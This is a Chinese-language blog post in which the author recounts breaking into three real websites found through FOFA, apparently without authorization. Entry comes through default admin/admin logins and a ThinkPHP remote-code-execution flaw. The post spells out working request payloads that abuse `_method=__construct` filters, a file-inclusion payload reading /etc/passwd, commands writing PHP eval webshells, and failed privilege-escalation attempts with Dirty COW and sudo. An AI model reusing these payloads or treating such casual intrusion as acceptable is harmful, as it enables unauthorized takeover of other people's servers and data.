最近学习了一下pwn,然后就学习到了栈溢出,然后就遇到了困难。就想去看看php吧,好久没有看了,准备去看漏洞复现。然后就开始了一天三站的过程。
因为自己太懒了,不想搭建环境,然后就想网上有好多网站啊,随便找一个去看看。hhh然后去利用fofa
去搜索。
首先获得的是第一个网站,直接/admin.php
成功到后台页面,然后肯定是admin/admin
呀完美,成功进入后台(运气好)
然后我就去找漏洞利用点,找了半天都没有找到,突然在后台发现了一个报错信息。
hhh,这不是tp框架嘛!然后直接上poc,进行测试,测试发现ban了一下命令执行函数,然后我去查看phpinfo
?s=index/index _method=__construct&filter[]=call_user_func&method=get&get[0]=phpinfo
发现ban了一下常见的命令执行函数,然后发现没有ban,shell_exec
于是说干就干,因为shell_exec
函数没有回显,这里使用的dnslog
进行测试。发现成功执行了命令。这不是美滋滋。
然后我就准备反弹shell,但是一直没有成功,不知道原理。那时候已经比较晚了,准备去填饱肚子。吃了饭之后就进行日。
然后我就猜有没有可能性有写入权限,然后我测试了一下果然有写入权限。
?s=index/index _method=__construct&filter[]=shell_exec&method=get&get[0]=echo "<?php eval(\$_POST[1]);?>" > 1.php
成功拿到shell,但是权限是www
的进行提权。这里系统版本是cestos
的使用脏牛漏洞和新出来的sudo提权失败。。。
虽然失败了,但是我突然对这类网站感兴趣了,于是便有了下面俩个网站的shell。
还是和上面一样,也是通过弱密码成功进入后台(弱密码yyds)
有了一个网站的思路,第二个就比较清晰了,不过遇到了困难是这个网站几乎ban了全部的命令执行函数,所以给我带来了困难。
因为该漏洞是通过call_user_func()
函数进行的漏洞利用,所以说我们控制的参数有限。一直没有绕过这个参数的问题,想使用写入函数去执行写入shell,但是发现参数不够。(烦死了~)那时候已经是23点了,一直没有绕过,自己又不想去跟代码。。。。遇到困难回寝室睡觉。
第二天上完课,我就去实验室进行利用,在昨天晚上深思熟虑的思考之后分析,有没有可能进行文件包含包含shell。
然后就开始构造文件包含的poc
?s=index/index _method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=/etc/passwd&x=phpinfo();
这里成功包含成功。。。爽歪歪。
接下来就通过后台有一个上传文件的地方进行上传文件,然后包含。
然后就又遇到了困难。。。
我们上传的文件进行了hash密码算法的渲染,相当于二次渲染,也没有绕过。难受死了,所以上传照片这个路走不通了。接下来就是找日志文件。找了好久都没有找到,于是想,上一个网站和这个网站是一样的,那么日志文件可能也一样。于是去看上一个网站的日志文件目录去测试这个网站的日志文件,果然成功包含日志文件
/www/wwwlogs/access.log
然后我就兴高采烈的去包含日志文件,结果失败??!奇奇怪怪,测试了好久都失败了。然后去看上一个网站的日志文件发现果然日志文件里面有奇奇怪怪的编码?导致我们写入的shell,不能成功识别。
再一次难受~
时间已经到下午又该上课的时候了。。。
下午在战
回到实验室,想一想思路,因为有文件上传的地方,并且服务器开起了
session.upload_progress.enabled
配置
所以思路,就是我们利用session文件包含进行getshell
这部分我就不介绍了哈,网上有好多的。。
然后说干就干,准备开始找上一次的上传点,突然发现另一个上传点。我们可以上传文件(doc pdf
)等等,于是我想如果我们可以上传txt
文件然后进行文件包含,不是也是一样的嘛?而这里利用条件比较低,于是我就去利用上传txt文件进行包含。
经过在后台搜索了一遍,发现我们可以修改上传后缀名的配置文件,于是我成功添加了允许上传txt
文件。
在txt里面写入。
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["0"])?>');?>
然后在利用最开始的文件包含漏洞去包含这个文件,成功执行命令生成shell
美滋滋。。。
这里可能你会说居然可以修改上传配置的后缀名,那为什么不能是去上传php?
这里我自己测试了一下,不能上传php的代码,至于绕过,没有去测试。。。
第三个shell来说是最简单的,因为没有ban system
函数,使用我们直接写入shell,进行连接就OK。